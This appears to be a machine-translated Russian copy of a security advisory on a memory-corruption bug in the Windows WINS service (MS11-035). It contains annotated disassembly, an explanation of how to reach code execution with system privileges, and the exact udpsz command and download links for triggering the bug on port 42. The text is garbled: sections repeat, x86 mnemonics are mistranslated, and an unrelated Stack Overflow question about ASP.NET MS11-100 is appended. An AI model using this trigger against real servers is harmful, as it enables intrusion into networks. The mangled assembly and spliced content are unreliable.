LeaveCriticalSection можно использовать для уменьшения 32-битной произвольной зоны
память (или в некоторых случаях ее увеличение и размещение 0x00000000)
предоставление злоумышленнику возможности модифицировать последующий код
поток и выполнение кода с системными привилегиями.
################################################### ######################
===========
3) Кодекс
===========
http://aluigi.org/testz/udpsz.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15992.zip (udpsz.zip)
udpsz -C 00140004 -b a -l 0 -T 0xffffffff СЕРВЕР 42 0x140008
когда точки, отображаемые инструментом, больше не продвигаются вперед, нажмите CTRL-C и
исключение "DEC DWORD PTR DS:[EDI+8]" будет активировано немедленно
с EDI равным 0x61616161.
Обратите внимание, что время, необходимое для эксплуатации уязвимости, в основном зависит
по памяти на автомате может быть одна минута если есть
гигабайт оперативной памяти, но может занять 10 минут в случае 2 гигабайт, поэтому
имейте это в виду во время ваших тестов: запустите команду и подождите
(терпеливо) остановка точек в udpsz.
################################################### ######################
======
4) Исправить
======
http://www.microsoft.com/technet/security/bulletin/ms11-035.mspx
################################################### ######################
---
Луиджи Ауриемма
http://aluigi.org
Введение
===============
WINS расшифровывается как "служба имен Интернета Windows" и является классической
служба, работающая на порту 42, обычно активна в среде интрасети для
разрешение имен NetBIOS.
################################################### ######################
======
2) Ошибка
======
Примечания: указанные дампы относятся к WINS 5.2.379.0,4520 в Windows 2003
Сервер.
Проблема находится в функции по адресу 0101488A, используемой для
выполнить отправку ответного пакета обратно клиенту, где он
вызывает исключение, если send() завершается ошибкой, например, потому что клиент
прервал соединение до получения данных.
В этой функции размер отправляемых данных (0x2c) передается в
ntohl() и сохраняется в буфере стека, где находится начало
пакета для отправки, но когда возникает исключение, код
поток продолжается с 01013e86 и после поступления CALL EAX в msvcrt.dll
на 01013e8a, где EDI принимает значение [EBP-4C], которое просто
0x2c000000 (да, это 0x2c в сетевом порядке).
Я «пытался» возобновить поток кода здесь:
01013E72 . 6A 2C НАЖАТЬ 2C ; /Арг3 = 0000002С
01013E74 . 8D45 B8 LEA EAX,DWORD PTR SS:[EBP-48] ; |
01013E77 . 50 НАЖМИТЕ EAX ; |Арг2
01013E78 . FF76 30 PUSH DWORD PTR DS:[ESI+30] ; |Арг1
> 01013E7B . E8 0A0A0000 ЗВОНИТЕ 0101488A ; \wins.0101488A (отправить пакет)
01013E80 . 834D FC FF ИЛИ DWORD PTR SS:[EBP-4],FFFFFFFF
01013E84 . EB 0E JMP КОРОТКИЙ 01013E94
01013E86 . 33C0 ИСКЛЮЧАЮЩЕЕ ИЛИ EAX,EAX ; приходит сюда после RaiseException
01013E88 . 40 ВКЛ EAX
01013E89 . C3 RETN
> 01013E8A . 8B65 E8 MOV ESP,DWORD PTR SS:[EBP-18] ; после "CALL EAX" в msvcrt поток кода поступает сюда
01013E8D . 834D FC FF ИЛИ DWORD PTR SS:[EBP-4],FFFFFFFF
01013E91 . 8B7D B4 MOV EDI,DWORD PTR SS:[EBP-4C]
01013E94 . 57 НАЖМИТЕ ЭОД ; /Арг1 (0x2c000000)
01013E95 . E8 240D0000 ЗВОНИТЕ 01014BBE ; \wins.01014BBE
01013E9A . EB 1A JMP КОРОТКИЙ 01013EB6
...
0101488A /$ 8BFF MOV EDI,EDI
0101488С |. 55 НАЖМИТЕ ЭБП
0101488Д |.
8BEC MOV EBP,ESP
0101488F |. 56 НАЖМИТЕ ЭСИ
01014890 |. 8B75 0C MOV ESI,DWORD PTR SS:[EBP+C]
01014893 |. FF75 10 PUSH DWORD PTR SS:[EBP+10] ; /0x2c
01014896 |. 83C6 FC ДОБАВИТЬ ESI,-4 ; |
01014899 |. 8975 0C MOV DWORD PTR SS:[EBP+C],ESI ; |
0101489С |. FF15 4C120001 ВЫЗОВ DWORD PTR DS:[<&WS2_32.#8>] ; \ntohl
010148A2 |. 8345 10 04 ДОБАВИТЬ ДВОЙНОЕ СЛОВО PTR SS:[EBP+10],4
010148A6 |. 8906 MOV DWORD PTR DS:[ESI],EAX ; хранит 0x2c000000
010148A8 |. 0F84 АА000000 ДЖЕ 01014958
010148AE |. 53 НАЖМИТЕ EBX
010148AF |. 57 НАЖМИТЕ ЭОД ; сохраняет реальное значение для передачи в LeaveCriticalSection
010148B0 |. 33F6 XOR ЭСИ, ЭСИ
010148B2 |. BF F0210001 MOV EDI,010021F0 ; "d:\nt\net\wins\server\com\comm.c"
010148B7 |> BB FFFF0000 /MOV EBX,0FFFF
010148BC |. 395D 10 |CMP DWORD PTR SS:[EBP+10],EBX
010148BF |. 77 03 |JA КОРОТКИЙ 010148C4
010148C1 |. 8B5D 10 |MOV EBX,DWORD PTR SS:[EBP+10]
010148C4 |> 56 |PUSH ESI ; /Флаги
010148C5 |. 53 |НАЖМИТЕ EBX ; |размер данных
010148C6 |.
FF75 0C |PUSH DWORD PTR SS:[EBP+C] ; |Данные
010148C9 |. FF75 08 |PUSH DWORD PTR SS:[EBP+8] ; |Гнездо
010148CC |. FF15 3C120001 |ЗВОНИТЕ DWORD PTR DS:[<&WS2_32.#19>] ; \Отправить
010148D2 |. 83F8 FF |CMP EAX,-1
010148D5 |. 75 56 |JNZ КОРОТКИЙ 0101492D
010148D7 |. FF15 54120001 |CALL DWORD PTR DS:[<&WS2_32.#111>] ; [WSAGetLastError
010148ДД |. 3D 49270000 |CMP EAX,2749
010148E2 |. 74 39 |JE КОРОТКИЙ 0101491D
010148E4 |. 3D 46270000 |CMP EAX,2746
010148E9 |. 74 32 |JE КОРОТКИЙ 0101491D
010148ЭБ |. 3D 45270000 |CMP EAX,2745
010148F0 |. 74 2B |JE КОРОТКИЙ 0101491D
010148F2 |. 3D 75270000 |CMP EAX,2775
010148F7 |. 74 24 |JE КОРОТКИЙ 0101491D
010148F9 |. 56 | НАЖМИТЕ ЭСИ
010148ФА |. 68 2F0B0000 | НАЖАТЬ 0B2F
010148FF |. 57 | НАЖМИТЕ ЭОД
01014900 |. 68 731001C0 | НАЖМИТЕ C0011073
01014905 |> 6A 01 |НАЖМИТЕ 1
01014907 |. 50 | НАЖМИТЕ EAX
01014908 |. E8 347
76 E8 |JBE КОРОТКИЙ 0101490D ; прыжки
...
01014BBE /$ 8BFF MOV EDI,EDI
01014BC0 |. 55 НАЖМИТЕ ЭБП
01014BC1 |. 8BEC MOV EBP,ESP
01014BC3 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
01014BC6 |. 8B40 04 MOV EAX,DWORD PTR DS:[EAX+4] ; поэтому EAX равен 0x2c000000.
01014BC9 |. 83C0 0C ДОБАВИТЬ EAX,0C ; добавить 0x0c к нашему значению
01014BCC |. 50 НАЖМИТЕ EAX ; /pCriticalSection
01014BCD |. FF15 A0100001 ВЫЗОВ KERNEL32.LeaveCriticalSection ; \LeaveCriticalSection
01014BD3 |. 33C0 XOR EAX, EAX
01014BD5 |. 5D ПОП ЭБП
01014БД6\. C2 0400 РЕТН 4
...
Оставить критическую секцию:
7C81A3AB > 8BFF ДВИГАТЕЛЬ ЭДИ, ЭДИ
7C81A3AD 55 НАЖМИТЕ ЭБП
7C81A3AE 8BEC MOV EBP, ESP
7C81A3B0 57 НАЖМИТЕ ЭОД
7C81A3B1 8B7D 08 MOV EDI,DWORD PTR SS:[EBP+8]
7C81A3B4 FF4F 08 DEC DWORD PTR DS:[EDI+8] ; здесь происходит эксплуатация: EDI контролируется (pCriticalSection)
7C81A3B7 75 21 JNZ КОРОТКИЙ 7C81A3DA
7C81A3B953 НАЖМИТЕ EBX
7C81A3BA 56 НАЖМИТЕ ESI
7C81A3BB C747 0C 0000000>MOV DWORD PTR DS:[EDI+C],0
7C81A3C2 8D77 04 LEA ESI,DWORD PTR DS:[EDI+4]
7C81A3C5 BB 01000000 ДВИГАТЕЛЬ EBX, 1
7C81A3CA F0:0FC11E БЛОКИРОВКА XADD DWORD PTR DS:[ESI],EBX
7C81A3CE 43 ВКЛ EBX
7C81A3CF 83FB FF CMP EBX,-1
7C81A3D2 0F85 0B2F0200 ДЖНЗ 7C83D2E3
7C81A3D8 5E ПОП ЭСИ
7C81A3D95B ПОП EBX
7C81A3DA 33C0 XOR EAX, EAX
7C81A3DC 5F POP EDI
7C81A3DD 5D POP EBP
7C81A3DE C2 0400 RETN 4
.
..
Таким образом, EDI (один из 01013E94) всегда имеет значение 0x2c000000, потому что это
ntohl(0x2c) и обычно исключение по адресу
01014BC6, потому что эта зона памяти не выделена.
Вместо этого можно принудительно выделить эту зону памяти.
и заполнить его собственными материалами, просто отправив большое количество
данные в одном и том же соединении (или, может быть, также во времени, разделенном
подключения, но я не проверял).
Абсолютно не проблема, учитывая интранет-характер
оказание услуг.
Если быть точным, я заметил, что начало выделения памяти
происходит после отправки 2 гигабайт данных, когда ситуация
который был стабильным до этого момента, внезапно меняется, и сервис
начинает выделять память, пока не займет около 700 мегабайт, необходимых
чтобы достичь 0x2c000000.
Как уже было сказано, его можно использовать только из того же соединения, действительно
служба принимает несколько запросов, поскольку она просто заботится о том, чтобы
максимальный размер блока данных, указанный в первом 32-битном поле, незначителен
или равно 3115000, поэтому, если содержимое недействительно, соединение
остается открытым и никогда не будет закрыт или прерван.
Когда выделяется зона памяти, включающая 0x2c000000
LeaveCriticalSection можно использовать для уменьшения 32-битной произвольной зоны
память (или в некоторых случаях ее увеличение и размещение 0x00000000)
предоставление злоумышленнику возможности модифицировать последующий код
поток и выполнение кода с системными привилегиями.
################################################### ######################
===========
3) Кодекс
===========
http://aluigi.org/testz/udpsz.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15992.zip (udpsz.zip)
udpsz -C 00140004 -b a -l 0 -T 0xffffffff СЕРВЕР 42 0x140008
когда точки, отображаемые инструментом, больше не продвигаются вперед, нажмите CTRL-C и
исключение "DEC DWORD PTR DS:[EDI+8]" будет активировано немедленно
с EDI равным 0x61616161.
Обратите внимание, что время, необходимое для эксплуатации уязвимости, в основном зависит
по памяти на автомате может быть одна минута если есть
гигабайт оперативной памяти, но может занять 10 минут в случае 2 гигабайт, поэтому
имейте это в виду во время ваших тестов: запустите команду и подождите
(терпеливо) остановка точек в udpsz.
################################################### ######################
======
4) Исправить
======
http://www.microsoft.com/technet/security/bulletin/ms11-035.mspx
################################################### ######################
---
Луиджи Ауриемма
http://aluigi.org
безопасность — наследование ASP.NET Web.config не работает для параметра MaxHttpCollectionKeys из MS11-100
Задавать вопрос
спросил
Изменено
10 лет, 7 месяцев назад
Просмотрено
3к раз
После обновления наших систем с помощью недавно выпущенного исправления уязвимости asp.net ms11-100 мы обнаружили, что некоторые из наших страниц начали давать сбой с исключением «[HttpException (0x80004005): данные формы в кодировке URL недействительны.
]» Это рассматривается на форумах asp.net здесь:
http://forums.asp.net/t/1754512.aspx/1?Microsoft+security+bulletin+MS11+100+breaking+our+site
и далее stackoverflow здесь:
ASP.NET MS11-100: как я могу изменить ограничение на максимальное количество публикуемых значений формы?
То, что я пытался сделать, это ограничить изменения, предложенные тем самым в области атаки, конкретной страницей, переместив эту страницу в ее собственную папку, чтобы я мог иметь определенный файл web.config в этой папке с настройкой aspnet:MaxHttpCollectionKeys со значением, превышающим значение по умолчанию, равное 1000.
Я обнаружил, что если я не укажу этот параметр в файле web.config в корневой папке, этот параметр не вступит в силу. Казалось, что asp.net просто проигнорировал параметр, когда он был в web.config в новой папке для страницы.
Есть ли что-то еще, что мне нужно сделать, чтобы это произошло? Или это вообще невозможно из-за особенностей настройки?
- asp.
